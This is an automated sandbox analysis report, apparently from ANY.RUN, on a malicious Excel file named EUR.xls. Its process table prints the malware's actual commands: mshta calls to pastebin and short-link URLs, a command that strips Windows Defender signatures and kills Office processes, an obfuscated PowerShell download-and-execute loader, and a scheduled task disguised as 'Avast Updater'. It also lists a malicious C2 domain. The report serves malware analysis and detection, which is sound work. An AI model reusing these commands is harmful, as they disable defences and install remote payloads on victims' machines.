File name: | EUR.xls |
Full analysis: | https://app.any.run/tasks/f1ddfa49-83f0-4168-a5b6-4a409eef01de |
Verdict: | Malicious activity |
Analysis date: | June 19, 2019, 03:58:16 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.ms-excel |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:17:20 2015, Last Saved Time/Date: Mon May 27 01:55:42 2019, Security: 0 |
MD5: | 20899649D02761958ACC4DEFB9446EA4 |
SHA1: | 74105B66CE416BBADD25CE11DE06170115AD2DB1 |
SHA256: | EC9299DBA52CECB550798668BA6859B1DB9405C23B997D25E672F48685947B4B |
SSDEEP: | 1536:QNk3hOdsylKlgxopeiBNhZFGzE+cL2kdAgbUIxSckcfyqH+xDH8mXnOjlK7EggiE:Ek3hOdsylKlgxopeiBNhZFGzE+cL2kdH |
.xls | | | Microsoft Excel sheet (48) |
---|---|---|
.xls | | | Microsoft Excel sheet (alternate) (39.2) |
Author: | - |
---|---|
LastModifiedBy: | - |
Software: | Microsoft Excel |
CreateDate: | 2015:06:05 18:17:20 |
ModifyDate: | 2019:05:27 00:55:42 |
Security: | None |
CodePage: | Windows Latin 1 (Western European) |
Company: | - |
AppVersion: | 16 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: | Sheet1 |
HeadingPairs: |
|
CompObjUserTypeLen: | 32 |
CompObjUserType: | Microsoft Excel 2003 Worksheet |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
1892 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 1 Version: 14.0.6024.1000 | ||||
2872 | mshta http://j.mp/bnmcbsdjcgsdjck | C:\Windows\system32\mshta.exe | EXCEL.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
4008 | "C:\Windows\System32\mshta.exe" http://www.pastebin.com/raw/HX72131y | C:\Windows\System32\mshta.exe | mshta.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
2060 | "C:\Windows\System32\cmd.exe" /c cd "C:\Program Files\Windows Defender" & MpCmdRun.exe -removedefinitions -dynamicsignatures & taskkill /f /im winword.exe & taskkill /f /im excel.exe & taskkill /f /im MSPUB.exe & taskkill /f /im POWERPNT.EXE & taskkill /f /im MSASCuiL.exe & taskkill /f /im MpCmdRun.exe & exit | C:\Windows\System32\cmd.exe | — | mshta.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 128 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3064 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NOEx $SA_s = ((New-Object Net.WebClient).DowNloAdSTRiNg('h'+'t'+'t'+'p'+'s'+':'+'/'+'/'+'p'+'a'+'s'+'t'+'e'+'b'+'i'+'n'+'.'+'c'+'o'+'m'+'/'+'r'+'a'+'w'+'/rwgtwLMg'));$SA_s=$SA_s.replace('.','0');$SA_s = $SA_s.ToCharArray();[Array]::Reverse($SA_s);[byte[]]$Ci_W = [System.Convert]::FromBase64String($SA_s);$ASD_w = [System.Threading.Thread]::GetDomain().Load($Ci_W);$ASD_w.EntryPoint.invoke($S,$X); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | mshta.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1073807364 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3628 | "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 30 /tn "Avast Updater" /tr "mshta.exe http://pastebin.com/raw/Cbt2DYUh" /F | C:\Windows\System32\schtasks.exe | — | mshta.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Manages scheduled tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3912 | MpCmdRun.exe -removedefinitions -dynamicsignatures | C:\Program Files\Windows Defender\MpCmdRun.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Malware Protection Command Line Utility Exit code: 2 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2196 | taskkill /f /im winword.exe | C:\Windows\system32\taskkill.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Terminates Processes Exit code: 128 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2468 | taskkill /f /im excel.exe | C:\Windows\system32\taskkill.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Terminates Processes Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3624 | taskkill /f /im MSPUB.exe | C:\Windows\system32\taskkill.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Terminates Processes Exit code: 128 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
1892 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR3EC2.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2872 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\authorization[1].css | — | |
MD5:— | SHA256:— | |||
2872 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\error[1] | — | |
MD5:— | SHA256:— | |||
2872 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\error[1] | — | |
MD5:— | SHA256:— | |||
2872 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\warning[1] | — | |
MD5:— | SHA256:— | |||
3064 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\M9CPGNY60LXNR1AMDGX4.temp | — | |
MD5:— | SHA256:— | |||
1892 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\~DFA9EDD3B1A379EAB0.TMP | — | |
MD5:— | SHA256:— | |||
2872 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\error[2] | text | |
MD5:35FE91C2AC1BA0913CC617622B9EB43F | SHA256:966240C0527B20E8E2553B7E5A68594AE69230AA00186F2C6C2C342405494837 | |||
2872 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\3[1].html | html | |
MD5:7CAA86C178AB8D503438B319008FC78B | SHA256:36BF4114999312264D9EAF26BDE7CF0BD291CFEC7D490EB896544435D219CB55 | |||
2872 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\3399642339-ieretrofit[1].js | html | |
MD5:BE2B0433B22D6FC049F1B2D75DAAF7FA | SHA256:7186786ED5A17B3DB11B7BE7B4EFF0E2A95FDE616D81E68FEE6530F7523FB6E9 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
4008 | mshta.exe | GET | 301 | 104.20.208.21:80 | http://www.pastebin.com/raw/HX72131y | US | html | 6.56 Kb | shared |
2872 | mshta.exe | GET | 301 | 67.199.248.16:80 | http://j.mp/bnmcbsdjcgsdjck | US | html | 126 b | shared |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2872 | mshta.exe | 172.217.21.233:443 | resources.blogblog.com | Google Inc. | US | whitelisted |
2872 | mshta.exe | 67.199.248.16:80 | j.mp | Bitly Inc | US | shared |
2872 | mshta.exe | 172.217.21.225:443 | xasjow21d.blogspot.com | Google Inc. | US | whitelisted |
4008 | mshta.exe | 104.20.208.21:80 | www.pastebin.com | Cloudflare Inc | US | shared |
2872 | mshta.exe | 216.58.207.73:443 | www.blogger.com | Google Inc. | US | whitelisted |
3064 | powershell.exe | 104.20.209.21:443 | www.pastebin.com | Cloudflare Inc | US | shared |
4008 | mshta.exe | 104.20.209.21:443 | www.pastebin.com | Cloudflare Inc | US | shared |
3064 | powershell.exe | 62.108.37.28:666 | kronozzz2.duckdns.org | comtrance GmbH | DE | malicious |
Domain | IP | Reputation |
---|---|---|
j.mp |
| shared |
xasjow21d.blogspot.com |
| whitelisted |
www.blogger.com |
| shared |
resources.blogblog.com |
| whitelisted |
www.pastebin.com |
| shared |
pastebin.com |
| shared |
kronozzz2.duckdns.org |
| malicious |
dns.msftncsi.com |
| shared |
PID | Process | Class | Message |
---|---|---|---|
2872 | mshta.exe | Misc activity | SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7) |
4008 | mshta.exe | Misc activity | SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7) |
— | — | Misc activity | ET INFO DYNAMIC_DNS Query to *.duckdns. Domain |